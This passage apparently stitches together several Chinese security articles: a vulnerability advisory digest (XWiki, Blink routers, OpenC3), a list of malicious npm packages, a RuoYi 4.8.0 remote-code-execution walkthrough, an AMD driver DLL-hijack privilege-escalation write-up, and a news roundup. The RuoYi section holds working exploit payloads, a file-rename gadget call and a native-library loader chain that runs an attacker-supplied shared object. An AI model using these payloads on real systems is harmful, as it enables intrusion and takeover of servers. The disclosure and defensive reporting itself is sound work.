由于其查询验证器未对内置函数如 `DBMS_XMLGEN` 和 `DBMS_XMLQUERY` 进行有效过滤，结合 Hibernate 在 HQL 查询中允许调用本地函数的设计特性，攻击者可构造恶意输入实现 SQL 注入（CWE-89）。通过精心设计的参数传递，攻击者能够在 Oracle 数据库中执行任意 SQL 查询，绕过现有防御机制，最终获取敏感数据、修改业务逻辑或导致数据库服务瘫痪。该漏洞已被证实存在公开利用迹象，且未提供临时补救方案。漏洞影响所有未升级至 16.10.2 / 16.4.7 / 15.10.16 的 XWiki 实例，尤其针对依赖 Oracle 数据源的部署场景构成严重威胁。攻击者无需用户交互即可通过 HTTP 请求注入恶意负载，
|
||||
|
||||
|
||||
典型攻击链包含：
|
||||
|
||||
1. 构造含 XML 函数调用的查询字符串；
|
||||
|
||||
2. 利用 Hibernate HQL 解析特性注入任意 SQL 命令；
|
||||
|
||||
3. 触发数据库引擎执行非授权操作。
|
||||
|
||||
|
||||
组件描述
|
||||
|
||||
XWiki 是一款通用型开源 Wiki 平台，支持灵活的内容管理和数据库交互功能。
|
||||
|
||||
|
||||
潜在风险
|
||||
|
||||
攻击复杂度极低：PoC 已公开可用
|
||||
|
||||
存在现实利用：高危行业资产暴露风险陡增
|
||||
|
||||
|
||||
修复建议
|
||||
|
||||
1. 立即升级至官方已修复版本（16.10.2 / 16.4.7 / 15.10.16）
|
||||
|
||||
2. 启用最小特权原则：限制数据库连接权限至只读模式
|
||||
|
||||
3. 强化输入验证：禁止 HQL 中动态拼接函数表达式
|
||||
|
||||
4. 部署 WAF 规则拦截 `DBMS_` 开头关键字
|
||||
|
||||
5. 监控 Oracle 日志中的异常 XML 函数调用记录
|
||||
|
||||
|
||||
4.
|
||||
Blink路由器命令注入漏洞导致远程代码执行
|
||||
|
||||
|
||||
漏洞描述
|
||||
|
||||
漏洞编号：CVE-2025-45984
|
||||
|
||||
发布时间：2025年06月13日
|
||||
|
||||
CVSS 评分为 9.8（超危）
|
||||
|
||||
参考链接：https://nvd.nist.gov/vuln/detail/CVE-2025-45984
|
||||
|
||||
|
||||
Blink路由器多款型号（BL-WR9000 V2.4.9、BL-AC1900 V1.0.2、BL-AC2100_AZ3 V1.0.4、BL-X10_AC8 V1.0.5、BL-LTE300 V1.2.3、BL-F1200_AT1 V1.0.0、BL-X26_AC8 V1.2.8、BLAC450M_AE4 V4.0.0及BL-X26_DA3 V1.2.7）因在sub_45B238函数中对`routepwd`参数输入未进行充分过滤，存在命令注入（CWE-77）安全缺陷。攻击者可通过构造恶意请求，绕过参数校验逻辑，在底层操作系统上执行任意命令。此漏洞允许远程未授权攻击者完全控制受影响设备，窃取敏感配置、篡改路由策略或造成服务中断。该漏洞已存在公开利用痕迹，且无需用户交互即可触发。漏洞影响所有上述型号中未升级固件的Blink路由器设备，攻击者仅需通过公网发送精心设计的HTTP请求即可完成攻击。
|
||||
|
||||
|
||||
组件描述
|
||||
|
||||
Blink Router是一款家庭及企业级无线路由解决方案，支持多型号硬件设备并集成远程管理功能。
|
||||
|
||||
|
||||
潜在风险
|
||||
|
||||
攻击复杂度极低：CVSS评分显示攻击路径简单，无需专业知识即可复现已监测到实际利用案例：攻防时间窗极其有限
|
||||
|
||||
设备接管可能性高：漏洞允许持久化控制路由器核心功能
|
||||
|
||||
|
||||
修复建议
|
||||
|
||||
1. 立即升级至厂商发布的最新固件版本（具体版本号待厂商官方通告后补充）
|
||||
|
||||
2. 在企业环境中部署基于深度防御的入侵检测系统（IDS），拦截可疑的API调用模式
|
||||
|
||||
3. 对暴露在外网的路由器实施最小权限原则，禁用不必要的Web管理接口
|
||||
|
||||
4. 审核日志文件中是否存在异常命令行调用记录（重点关注`sh`或`exec`相关进程）
|
||||
|
||||
|
||||
5.
|
||||
OpenC3 COSMOS 弱密码验证暴力破解攻击导致身份验证绕过
|
||||
|
||||
|
||||
漏洞描述
|
||||
|
||||
漏洞编号：CVE-2025-28389
|
||||
|
||||
发布时间：2025年06月13日
|
||||
|
||||
CVSS 评分为 9.8（超危）
|
||||
|
||||
参考链接：https://nvd.nist.gov/vuln/detail/CVE-2025-28389
|
||||
|
||||
|
||||
在该组件 6.0.0 版本中因默认配置对账户密码复杂度校验缺失，存在弱密码要求（CWE-521）安全缺陷。攻击者可针对管理员账户实施自动化字典爆破攻击，通过枚举常见字符组合快速破解初始凭证，从而完全控制目标系统资源分配与协议转换能力。该漏洞已被证实存在公开利用样本，且无需用户交互即可实现无文件入侵。漏洞影响所有采用 OpenC3 COSMOS v6.0.0 默认安装方案的工控系统部署场景。攻击者只需掌握目标主机 IP 即可发起远程连接尝试，单台服务器每秒可承受数百次登录请求，显著降低横向渗透成本。
|
||||
|
||||
|
||||
组件描述
|
||||
|
||||
OpenC3 COSMOS 是一套用于工业控制系统通信的开源平台
|
||||
|
||||
|
||||
潜在风险
|
||||
|
||||
攻击复杂度极低：支持现成脚本库自动构建攻击载荷
|
||||
|
||||
实际利用活动活跃：已观测到针对性扫描流量激增
|
||||
|
||||
关键基础设施暴露面扩大：协议网关权限沦陷可衍生勒索攻击链
|
||||
|
||||
|
||||
修复建议
|
||||
|
||||
1. 禁用默认账号并强制启用 NIST 推荐的 12 字符以上多因子密码策略
|
||||
|
||||
2. 在防火墙层限制源 IP 登录频率阈值（如 5 次/分钟）
|
||||
|
||||
3. 启用双因素认证模块替代单纯口令验证
|
||||
|
||||
4. 审计 /var/log/auth.log 日志中的连续失败记录
|
||||
|
||||
|
||||
6.
|
||||
Blink Router命令注入漏洞导致远程代码执行
|
||||
|
||||
|
||||
漏洞描述
|
||||
|
||||
漏洞编号：CVE-2025-45985
|
||||
|
||||
发布时间：2025年06月13日
|
||||
|
||||
CVSS 评分为 9.8（超危）
|
||||
|
||||
参考链接：https://nvd.nist.gov/vuln/detail/CVE-2025-45985
|
||||
|
||||
|
||||
在BL-WR9000 V2.4.9、BL-AC2100_AZ3 V1.0.4、BL-X10_AC8 v1.0.5等系列版本中，其bs_SetSSIDHide接口因输入参数过滤不严谨，存在命令注入（CWE-77）安全隐患。攻击者可通过伪造HTTPS请求向SSID隐藏配置参数中插入系统命令字符，经解析后在内核态执行危险指令，实现对设备管理权限的完全接管。此漏洞允许未经身份验证的远程攻击者通过构造恶意HTTP请求，在目标设备上执行任意操作系统命令，造成敏感配置泄露、设备瘫痪甚至网络侧渗透攻击。该漏洞已被证实处于活跃利用状态。漏洞影响上述所有未修补版本的Blink Router设备，涵盖家用宽带网关、企业级接入控制器等多种部署形态。攻击者无需交互即可通过公共互联网直接发起攻击，受感染设备将面临完整的横向渗透威胁。
|
||||
|
||||
|
||||
组件描述
|
||||
|
||||
Blink Router是一款家庭及企业级无线路由解决方案，支持多型号硬件设备并集成远程管理功能。
|
||||
|
||||
|
||||
潜在风险
|
||||
|
||||
攻击复杂度低：自动化工具可快速传播利用链
|
||||
|
||||
已检测到实际利用尝试：攻击流量特征呈扩散趋势
|
||||
|
||||
|
||||
修复建议
|
||||
|
||||
1. 立即通过官方渠道升级至包含安全补丁的新版本固件
|
||||
|
||||
2. 在防火墙规则中限制对管理端口的外网访问
|
||||
|
||||
3. 启用双因素认证并定期轮换管理员凭据
|
||||
|
||||
4. 监控SSH登录失败记录与异常进程启动事件
|
||||
|
||||
**投毒情报**
|
||||
|
||||
|
||||
1. npm投毒事件
|
||||
|
||||
|
||||
事件描述
|
||||
|
||||
这是一个npm官方仓库中的投毒事件, npm中ls-onboarding-frontend组件的100.9.9版本被标记为存在恶意性。
|
||||
|
||||
该组件被发现与一个与恶意活动相关的域名进行通信并且执行了一个或多个与恶意行为相关的命令。该组件版本的md5值为70c03032a414492a8959213bcf52618e
|
||||
|
||||
|
||||
发布日期
|
||||
|
||||
2025年06月13日
|
||||
|
||||
|
||||
2.
|
||||
npm投毒事件
|
||||
|
||||
|
||||
事件描述
|
||||
|
||||
这是一个npm官方仓库中的投毒事件, npm中maxdome-compute组件的2.1.0版本被标记为存在恶意性。该组件被发现与一个与恶意活动相关的域名进行通信并且执行了一个或多个与恶意行为相关的命令。该组件版本的md5值410341f1554973f4358b5ce51b1bc77b
|
||||
|
||||
|
||||
发布日期
|
||||
|
||||
2025年06月14日
|
||||
|
||||
|
||||
3.
|
||||
npm投毒事件
|
||||
|
||||
|
||||
事件描述
|
||||
|
||||
这是一个npm官方仓库中的投毒事件, npm中mdp-client组件的2.0.2版本被标记为存在恶意性。该组件被发现与一个与恶意活动相关的域名进行通信并且执行了一个或多个与恶意行为相关的命令。 该组件版本的md5值为08d6f44def5933dd3ace45d802664590
|
||||
|
||||
|
||||
发布日期
|
||||
|
||||
2025年06月14日
|
||||
|
||||
|
||||
4. npm投毒事件
|
||||
|
||||
|
||||
事件描述
|
||||
|
||||
这是一个npm官方仓库中的投毒事件, npm中plugin-proposal-private-methods组件的999.0.0版本被标记为存在恶意性。该组件被发现与一个与恶意活动相关的域名进行通信并且执行了一个或多个与恶意行为相关的命令。该组件版本的md5值为7d9deca73bf254ec8ce6c3896f7acc96
|
||||
|
||||
|
||||
发布日期
|
||||
|
||||
2025年06月14日
|
||||
|
||||
|
||||
5. npm投毒事件
|
||||
|
||||
|
||||
事件描述
|
||||
|
||||
这是一个npm官方仓库中的投毒事件, npm中snapshot-server组件的9.9.9版本被标记为存在恶意性。 该组件被发现与一个与恶意活动相关的域名进行通信并且执行了一个或多个与恶意行为相关的命令。该组件版本的md5值为bcf30eb955dba2222acb535ad08e33a9
|
||||
|
||||
|
||||
发布日期
|
||||
|
||||
2025年06月15日
|
||||
|
||||
|
||||
6. npm投毒事件
|
||||
|
||||
|
||||
事件描述
|
||||
|
||||
这是一个npm官方仓库中的投毒事件, npm中`com.unity.dt.app-ui`组件的99.0.3版本被标记为存在恶意性。该组件被发现与一个与恶意活动相关的域名进行通信并且执行了一个或多个与恶意行为相关的命令。该组件版本的md5值为c8c4961e498f314b1b222b1cb1e87980
|
||||
|
||||
|
||||
发布日期
|
||||
|
||||
2025年06月15日
|
||||
|
||||
|
||||
7. npm投毒事件
|
||||
|
||||
|
||||
事件描述
|
||||
|
||||
这是一个npm官方仓库中的投毒事件, npm中owncloud-activity组件的99.0.1版本被标记为存在恶意性。该组件被发现与一个与恶意活动相关的域名进行通信并且执行了一个或多个与恶意行为相关的命令。该组件版本的md5值为60f20d50a7211b51ad1841bec5677481
|
||||
|
||||
|
||||
发布日期
|
||||
|
||||
2025年06月15日
|
||||
|
||||
|
||||
8. npm投毒事件
|
||||
|
||||
|
||||
事件描述
|
||||
|
||||
这是一个npm官方仓库中的投毒事件, npm中typescript-aurelia-api组件的1.0.0版本被标记为存在恶意性。该组件被发现与一个与恶意活动相关的域名进行通信并且执行了一个或多个与恶意行为相关的命令。该组件版本的md5值为b863981d6a5cb80bf6bcbc0f77503312
|
||||
|
||||
|
||||
发布日期
|
||||
|
||||
2025年06月15日
|
||||
|
||||
|
||||
**扫码进群：****获取每日最新漏洞和投毒情报推送**
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
清源SCA开源版交流群
|
||||
|
||||
****
|
||||
|
||||
|
||||
开源安全，始于清源。让我们共同守护代码基石，释放开源生态的真正潜力！
|
||||
|
||||
|
||||
**关于安势信息**
|
||||
|
||||
|
||||
上海安势信息技术有限公司是国内先进的软件供应链安全治理解决方案提供商，核心团队来自Synopsys、华为、阿里巴巴、腾讯、中兴等国内外企业。安势信息始终坚持DevSecOps的理念和实践，以AI、多维探测和底层引擎开发等技术为核心，提供包括清源CleanSource SCA（软件成分分析）、清源SCA开源版、清正CleanBinary (二进制代码扫描)、清流PureStream（AI风险治理平台）、清本CleanCode SAST（企业级白盒静态代码扫描）、可信开源软件服务平台、开源治理服务等产品和解决方案，覆盖央企、高科技、互联网、ICT、汽车、高端制造、半导体&软件、金融等多元化场景的软件供应链安全治理最佳实践。
|
||||
|
||||
|
||||
欢迎访问安势信息官网www.sectrend.com.cn或发送邮件至 info@sectrend.com.cn垂询。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**点击蓝字 关注我们**
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,125 @@
|
||||
# 若依4.8.0RCE分析
|
||||
Douuyu 北银京卫军 2025-06-16 06:05
|
||||
|
||||
一、最新版本RCE限制
|
||||
|
||||
在创建任务或修改任务的接口都会对上传的内容进行过滤，可以看到禁用了rmi、ldap、http协议，无法通过远程加载进行rce
|
||||
|
||||
|
||||
|
||||
并且在调用类时进行黑名单校验
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
在加载包时还会进行白名单校验
|
||||
|
||||
|
||||
|
||||
|
||||
跟进whiteList方法，使用containsAnyIgnoreCase对字符串进行校验，是否存在白名单的字段
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
所以我们在创建计划任务时要带有“com.ruoyi.quartz.task”字段，并且使用其他包下的方法绕过黑名单的限制
|
||||
|
||||
|
||||
在反射的时候还要注意，需要满足存在一个无参构造函数，且都是public
|
||||
|
||||
|
||||
|
||||
|
||||
条件总结：
|
||||
|
||||
1、传入的字符串需要包含com.ruoyi.quartz.task
|
||||
|
||||
2、不能使用黑名单中包的类
|
||||
|
||||
3、使用的类需要满足：有一个无参构造函数，并且都是public，方法也需要是public；传递的参数只能是基本类型
|
||||
|
||||
二、寻找调用方法
|
||||
|
||||
在进行日志处理的组件中一般会存在对文件操作的方法，在logback组件中就存在类似的方法
|
||||
|
||||
|
||||
ch.qos.logback.core.rolling.helper.RenameUtil类中存在文件复制的方法
|
||||
|
||||
|
||||
|
||||
|
||||
那么我们可以利用文件上传脚本图片，通过上面的文件复制进行文件的移动和重命名
|
||||
|
||||
|
||||
先上传文件
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
然后使用ch.qos.logback.core.rolling.helper.RenameUtil.renameByCopying()方法对文件进行移动重命名（文件的默认路径：/home/ruoyi/），poc如下：
|
||||
```
|
||||
ch.qos.logback.core.rolling.helper.RenameUtil.renameByCopying("/RuoYi-master/upload/avatar/2025/05/05/com.ruoyi.quartz.task_20250505172815A006.png","/RuoYi-master/upload/avatar/2025/05/05/test.txt")
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
执行之后的结果
|
||||
|
||||
|
||||
|
||||
|
||||
那么我们就可以写计划任务或者ssh
|
||||
|
||||
三、使用com.sun.glass.utils.NativeLibLoader.loadLibrary进行RCE
|
||||
#### 写一个calc.c
|
||||
|
||||
```
|
||||
#include <stdlib.h>
|
||||
|
||||
__attribute__((constructor))
|
||||
static void auto_run() {
|
||||
system("open -a calculator");
|
||||
}
|
||||
```
|
||||
|
||||
进行编译
|
||||
```
|
||||
gcc calc.c -o calc
|
||||
```
|
||||
|
||||
|
||||
将编译后的文件上传
|
||||
|
||||
|
||||
|
||||
|
||||
将文件进行重命名
|
||||
```
|
||||
ch.qos.logback.core.rolling.helper.RenameUtil.renameByCopying("/RuoYi-master/upload/avatar/2025/05/05/com.ruoyi.quartz.task_20250505172815A006.png","/RuoYi-master/upload/avatar/2025/05/05/com.ruoyi.quartz.task_20250505172815A006.dylib")
|
||||
```
|
||||
|
||||
|
||||
使用com.sun.glass.utils.NativeLibLoader.loadLibrary执行动态代码库，添加计划任务
|
||||
```
|
||||
com.sun.glass.utils.NativeLibLoader.loadLibrary('../../../../../../../../../../RuoYi-master/upload/avatar/2025/05/05/com.ruoyi.quartz.task_20250505172815A006')
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
执行计划任务，可执行代码库中的系统命令
|
||||
|
||||
|
||||
#### RCE利用条件
|
||||
#### 1、需要根据jdk版本判断是否存在
|
||||
#### com.sun.glass.utils.NativeLibLoader.loadLibrary；
|
||||
|
||||
|
||||
2、文件上传的默认路径是/home/ruoyi，如果修改了就需要猜测
|
||||
|
||||
@@ -0,0 +1,241 @@
|
||||
# 记一次AMD漏洞挖掘：从文件权限配置错误到驱动权限提升
|
||||
Ba1_Ma0 李白你好 2025-06-16 00:01
|
||||
|
||||
**免责声明：**
|
||||
由于传播、利用本公众号李白你好所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，公众号李白你好及作者不为此承担任何责任，一旦造成后果请自行承担！如有侵权烦请告知，我们会立即删除并致歉。谢谢！
|
||||
|
||||
|
||||
文章作者：先知社区（Ba1_Ma0）
|
||||
|
||||
文章来源：https://xz.aliyun.com/news/17962
|
||||
|
||||
|
||||
**1**
|
||||
►
|
||||
|
||||
**AMD**
|
||||
|
||||
|
||||
超微半导体公司（Advanced Micro Devices, Inc.），通常缩写为 AMD，是一家总部位于加利福尼亚州圣克拉拉的美国跨国半导体公司，为商业和消费市场开发计算机处理器和相关技术。
|
||||
|
||||
|
||||
**2**
|
||||
►
|
||||
|
||||
**漏洞挖掘过程**
|
||||
|
||||
|
||||
在使用PrivescCheck工具收集信息时，发现AMD目录可以被用户修改
|
||||
|
||||
|
||||
|
||||
|
||||
虽然用户权限只能读取和执行，但Authenticated Users是可以对此文件夹进行修改的
|
||||
|
||||
## 什么是Authenticated Users
|
||||
|
||||
|
||||
Authenticated Users（已认证用户） 是Windows操作系统中的一个安全主体（Security Principal），代表所有通过系统身份验证的用户或计算机账户
|
||||
|
||||
|
||||
意思就是，普通用户可以对AMD文件夹进行读取、执行、修改
|
||||
|
||||
## 文件权限配置错误
|
||||
|
||||
|
||||
在AMD文件内有两个子文件夹
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
经研究，AMD-Software-Installer文件夹只是Software程序的安装包目录，不重要，重要的是Chipset_Software文件夹
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
其内部为AMD驱动安装配置文件，包括驱动inf安装配置文件，驱动sys程序，驱动msi安装
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
普通用户对此文件夹内所有文件均可访问、执行与修改，最重要的是'修改'这个权限，代表用户可以无条件修改驱动的安装配置文件（.inf），也可以利用msi文件安装恶意程序
|
||||
|
||||
## 利用漏洞
|
||||
|
||||
|
||||
这里展示普通用户可以随意修改驱动的安装配置文件会造成什么危害，这里用AMD PSP驱动做演示，首先，要读懂它的安装配置文件，文件夹目录：
|
||||
```
|
||||
C:\AMD\Chipset_Software\Binaries\PSP Driver\W11x64
|
||||
```
|
||||
|
||||
使用文本编辑器打开amdpsp.inf
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
INF DestinationDirs Section 是 Windows 驱动程序安装文件（.inf）中的一个重要部分，用于定义文件在目标系统上的安装路径，它指定了驱动程序和相关文件应该被复制到哪个系统目录中，文件默认是从system32drivers目录下导入dll，可以修改配置文件，让它导入用户指定目录下的dll
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
修改至从AMDChipset_SoftwareBinariesPSP DriverW11x64目录下导入dll，这个目录可控，能写入恶意dll
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
这里是安装的sys程序，和移动system32目录下的dll，作用是将指定目录下的amdtee_api64.dll，amdtee_api32.dll移动到system32目录下
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
这里通过前面修改的文件夹，可以将AMDChipset_SoftwareBinariesPSP DriverW11x64目录下名为amdtee_api64.dll移动至system32目录下
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
为了区分，移动后的文件名改为了777.dll
|
||||
|
||||
### 更新驱动文件
|
||||
|
||||
|
||||
打开计算机管理，依次选择系统工具-设备管理器-安全设备-AMD PSP 11.0 Device，右击选择更新驱动程序
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
选择手动查找并安装驱动
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
选择从本地获取
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
找到AMDChipset_SoftwareBinariesPSP DriverW11x64目录下的amdpsp.inf并点击确定
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
打开system32文件夹，成功将恶意文件移动至此目录
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
这里只是验证其中的一个文件移动操作。
|
||||
|
||||
|
||||
**3**
|
||||
►
|
||||
|
||||
**提权漏洞挖掘**
|
||||
|
||||
|
||||
通过前面的文件权限配置错误，检查AMD当前运行的驱动文件目录是否可以被修改
|
||||
|
||||
|
||||
遗憾的是，正在运行的驱动文件夹也可以被修改
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
下图是其他正常驱动目录的配置权限，只有system权限才能完全控制
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
AMD External Events Service Module 存在一个权限提升漏洞，其中 atiesrxx.exe 会从当前目录加载一个不存在的 DLL（MSASN1.dll）到程序栈中执行。需要注意的是，由于用户可以修改驱动程序文件夹，而该文件夹中的内容会以系统权限执行，攻击者可利用此漏洞在本地机器上获取系统权限。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
当 AMD External Events Service Module（atiesrxx.exe）运行时，它会从当前目录加载一个不存在的 DLL（MSASN1.dll）并在栈中执行。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
编写一个用于验证漏洞的 DLL，并将其重命名为 MSASN1.dll。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
将 MSASN1.dll 移动到 AMD External Events Service Module 的驱动程序文件夹中。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
重启服务后，
|
||||
恶意 DLL 成功以系统权限加载并执行。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
因为服务是开机自启动的，所以还可用作权限维持
|
||||
|
||||
|
||||
提交赏金漏洞，官方回应
|
||||
问题出在 AMD 芯片组驱动程序软件的安装程序中，不在赏金范围内
|
||||
，但后续
|
||||
更新会发布安全公告或简报
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**4**
|
||||
►
|
||||
|
||||
**网安资源社区**
|
||||
|
||||
|
||||
李白你好VIP社区-
|
||||
网络安全资源社区
|
||||
|
||||
https://www.libaisec.com/
|
||||
|
||||
|
||||
|
||||
[情报 | 攻防 | 渗透 | 线索 | 资源社区](http://mp.weixin.qq.com/s?__biz=MzkwMzMwODg2Mw==&mid=2247511326&idx=1&sn=78f9ccdbc0ea7a06e0f4ab368d5a89f3&chksm=c09ade4ef7ed5758fde517714213faadcd67e5e7c55eda452d581da294a8c396bb1db889042f&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,135 @@
|
||||
# 软银13.7万用户数据因外包商漏洞被泄露
|
||||
汇能云安全 2025-06-16 01:41
|
||||
|
||||
|
||||
|
||||
**6****月****15****日，星期一****，您好！中科汇能与您分享信息安全快讯：**
|
||||
|
||||
|
||||
|
||||
**01**
|
||||
|
||||
|
||||
**苹果修复被Paragon间谍软件利用的iPhone零日漏洞**
|
||||
|
||||
|
||||
苹果公司日前修复了一个被用于攻击记者的iPhone零日漏洞，该漏洞被以色列间谍软件公司Paragon开发的Graphite间谍软件所利用。研究人员于6月12日披露，两名欧洲记者的iPhone遭到了黑客攻击。
|
||||
|
||||
**苹果此前透露，这一被利用的漏洞已在2月10日发布的iOS 18.3.1更新中得到"缓解"。然而，直到本周，该安全更新的公告仅提及了一个无关的漏洞，该漏洞允许攻击者禁用iPhone使手机解锁更加困难的安全机制。**
|
||||
6月12日，苹果更新了其2月10日的安全公告，加入了关于这个新漏洞的详细信息，该漏洞当时已被修复但未公开。
|
||||
|
||||
Paragon间谍软件丑闻始于今年1月，当时WhatsApp通知约90名用户，包括记者和人权活动人士，他们成为了Paragon开发的间谍软件Graphite的攻击目标。
|
||||
|
||||
**02**
|
||||
|
||||
**WebDAV零日RCE漏洞被APT组织武器化，PoC代码已公开**
|
||||
|
||||
|
||||
一个WebDAV实现中的严重零日远程代码执行漏洞CVE-2025-33053已被APT组织在针对企业网络的攻击中积极利用，目前其概念验证(PoC)代码已在GitHub上公开。
|
||||
|
||||
**该漏洞利用恶意URL快捷方式文件结合WebDAV服务器配置，实现在被攻击环境中的初始访问和横向移动。攻击者部署恶意.url快捷方式文件，当用户执行时，这些文件会自动连接到攻击者控制的WebDAV服务器。这种攻击方法对运行启用WebDAV模块的Apache2环境特别有效，因为默认配置通常缺乏足够的访问控制。**
|
||||
|
||||
安全研究员DevBuiHieu发布了完整的概念验证代码库，展示了漏洞的利用机制。
|
||||
|
||||
**03**
|
||||
|
||||
**Alist 疑似被收购引发风波，多个网盘平台紧急撤销授权！**
|
||||
|
||||
|
||||
本周，开源网盘挂载工具 Alist 疑似被“贵州不够科技”收购，引发广泛关注。项目原开发者 Xhofe 已从社群中退场，新版本中不仅修改了中文文档，还新增了多个 QQ 群和所谓的 VIP 技术支持渠道，这些内容疑似为收购方添加。有用户发现新版本中甚至出现了收集操作系统信息的代码，桌面版安装包也被托管在腾讯云对象存储上，但该链接随后被腾讯以涉嫌侵权封禁。
|
||||
|
||||
**目前，已有 123 网盘明确公告撤销了对 Alist 的 API 授权，阿里云盘和 115 网盘也疑似撤销授权，是否为官方行为尚未完全确认。多数观点认为，这些平台担心 Alist 被植入恶意代码后，通过接口访问大量用户数据，可能引发数据泄露风险和声誉危机。**
|
||||
|
||||
类似的开源项目收购变现案例在国内并非首次，早前 LNMP 和 Oneinstack 项目被低调接手后曾被爆出代码中夹带恶意行为，并被安全公司点名预警。此次 Alist 事件再次触发社区对“供应链投毒”的警觉，部分用户已开始卸载或禁止自动更新此项目。
|
||||
|
||||
**04**
|
||||
|
||||
|
||||
**Google云服务大规模宕机，OpenAI、Shopify等服务受影响**
|
||||
|
||||
Google云服务于6月12日（周四）遭遇重大全球性宕机，导致众多大型互联网服务中断或受到严重影响。根据Google Cloud状态页面显示，此次宕机始于太平洋时间上午10:51，当天晚些时候，Google表示客户"仍在经历不同程度的影响"。
|
||||
|
||||
**电子商务软件供应商Shopify作为Google云的主要客户，在X平台上发文称"已知悉影响多项服务的问题"。ChatGPT的创建者OpenAI也表示，其单点登录"和其他登录方式"出现了问题，公司工程团队正在努力缓解这些问题。**
|
||||
|
||||
Google的状态页面显示，此次事件已导致其13项云服务在美国、欧洲和亚洲出现问题。
|
||||
|
||||
**05**
|
||||
|
||||
**软银13.7万用户数据因外包商漏洞被泄露**
|
||||
|
||||
|
||||
**投资控股公司软银(SoftBank)近日披露了一起重大数据泄露事件，通过被入侵的第三方基础设施，137,156名移动用户的个人信息遭到泄露。该事件发生于2024年12月，但直到2025年3月才被发现。**
|
||||
|
||||
据日本公共广播公司NHK报道，此次安全事件暴露了大量属于软银和Y! Mobile用户的个人身份信息(PII)。被泄露的数据包括客户姓名、住址和电话号码，这些信息存储在承包电信支持业务的外部服务提供商UF Japan的系统中。所幸此次泄露并未涉及更敏感的金融数据。
|
||||
|
||||
调查结果显示，UF Japan设施存在多项关键安全控制失效。主要攻击途径涉及数据处理区域的物理访问控制和周边安全措施不足。安全评估发现，徽章访问系统不足、出入记录机制被破坏，以及高安全区域缺乏生物识别认证协议
|
||||
|
||||
**06**
|
||||
|
||||
**T-Mobile否认6400万用户数据遭黑客窃取事件**
|
||||
|
||||
|
||||
有黑客声称窃取了T-Mobile 6400 万用户的敏感信息，并对外兜售。
|
||||
|
||||
**T-Mobile回应否认数据泄露，称审核了黑客公开的数据样本，与其用户无关。**
|
||||
|
||||
**黑客声明：声称窃取的信息包括：姓名、出生日期、税号、家庭住址、电子邮箱、IP地址、手机号码等。**
|
||||
|
||||
数据涉及时间较新，部分信息尚未被记录在历史数据泄露数据库（如“Have I Been Pwned”）中。
|
||||
|
||||
T-Mobile回应：审核了黑客提供的数据样本，确认这些数据与T-Mobile及其用户无关。表明此次“数据泄露”不属实。
|
||||
|
||||
Cybernews分析：样本中部分邮箱曾出现在过往数据泄露事件中，可能是“二次倒卖旧数据”。但部分手机号等信息为首次出现，无法完全排除新泄露的可能性。
|
||||
|
||||
**07**
|
||||
|
||||
**威胁行为者利用DeepSeek-R1热度攻击Windows用户**
|
||||
|
||||
|
||||
网络犯罪分子开始利用当前最受欢迎的大语言模型之一DeepSeek-R1的热度，传播针对Windows用户的复杂新型恶意软件。
|
||||
|
||||
**攻击始于精心策划的恶意广告活动，当用户搜索"deepseek r1"时，欺诈网站会出现在Google搜索结果的顶部。主要钓鱼网站deepseek-platform[.]com伪装成官方DeepSeek主页，并采用复杂的检测机制识别Windows用户，然后向他们展示一个"立即尝试"按钮，启动感染链。**
|
||||
|
||||
一旦安装，恶意软件会重新配置所有浏览器实例，将流量路由到位于141.105.130[.]106:37121的攻击者控制的代理服务器，使网络犯罪分子能够拦截、监控和操纵所有网络通信。感染过程通过多阶段部署和社会工程组件展示了非凡的复杂性。用户点击初始"立即尝试"按钮后，会遇到由混淆JavaScript驱动的假CAPTCHA屏幕。
|
||||
|
||||
**08**
|
||||
|
||||
**8万Microsoft Entra ID账户被黑客发起密码喷洒攻击**
|
||||
|
||||
|
||||
据网络安全公司Proofpoint研究人员报告，黑客正在利用TeamFiltration渗透测试框架针对全球数百家组织的超过8万个Microsoft Entra ID账户发起攻击，其中有多起成功的账户接管案例。
|
||||
|
||||
这一攻击活动始于去年12月，并已成功劫持多个账户。研究人员表示，攻击活动的高峰出现在1月8日，当天有1.65万个账户成为攻击目标。这种密集攻击后通常会有数天的不活动期。
|
||||
|
||||
**TeamFiltration是一个跨平台框架，用于枚举、喷洒、窃取和后门入侵Office 365 EntraID账户。它由TrustedSec红队研究员Melvin Langvik于2022年发布。在Proofpoint观察到的UNK_SneakyStrike攻击活动中，TeamFiltration在促成大规模入侵尝试方面发挥了核心作用。**
|
||||
|
||||
攻击者使用分布在多个区域的AWS服务器发起攻击，并利用一个具有Business Basic许可证的"牺牲"Office 365账户滥用Microsoft Teams API进行账户枚举。
|
||||
|
||||
**09**
|
||||
|
||||
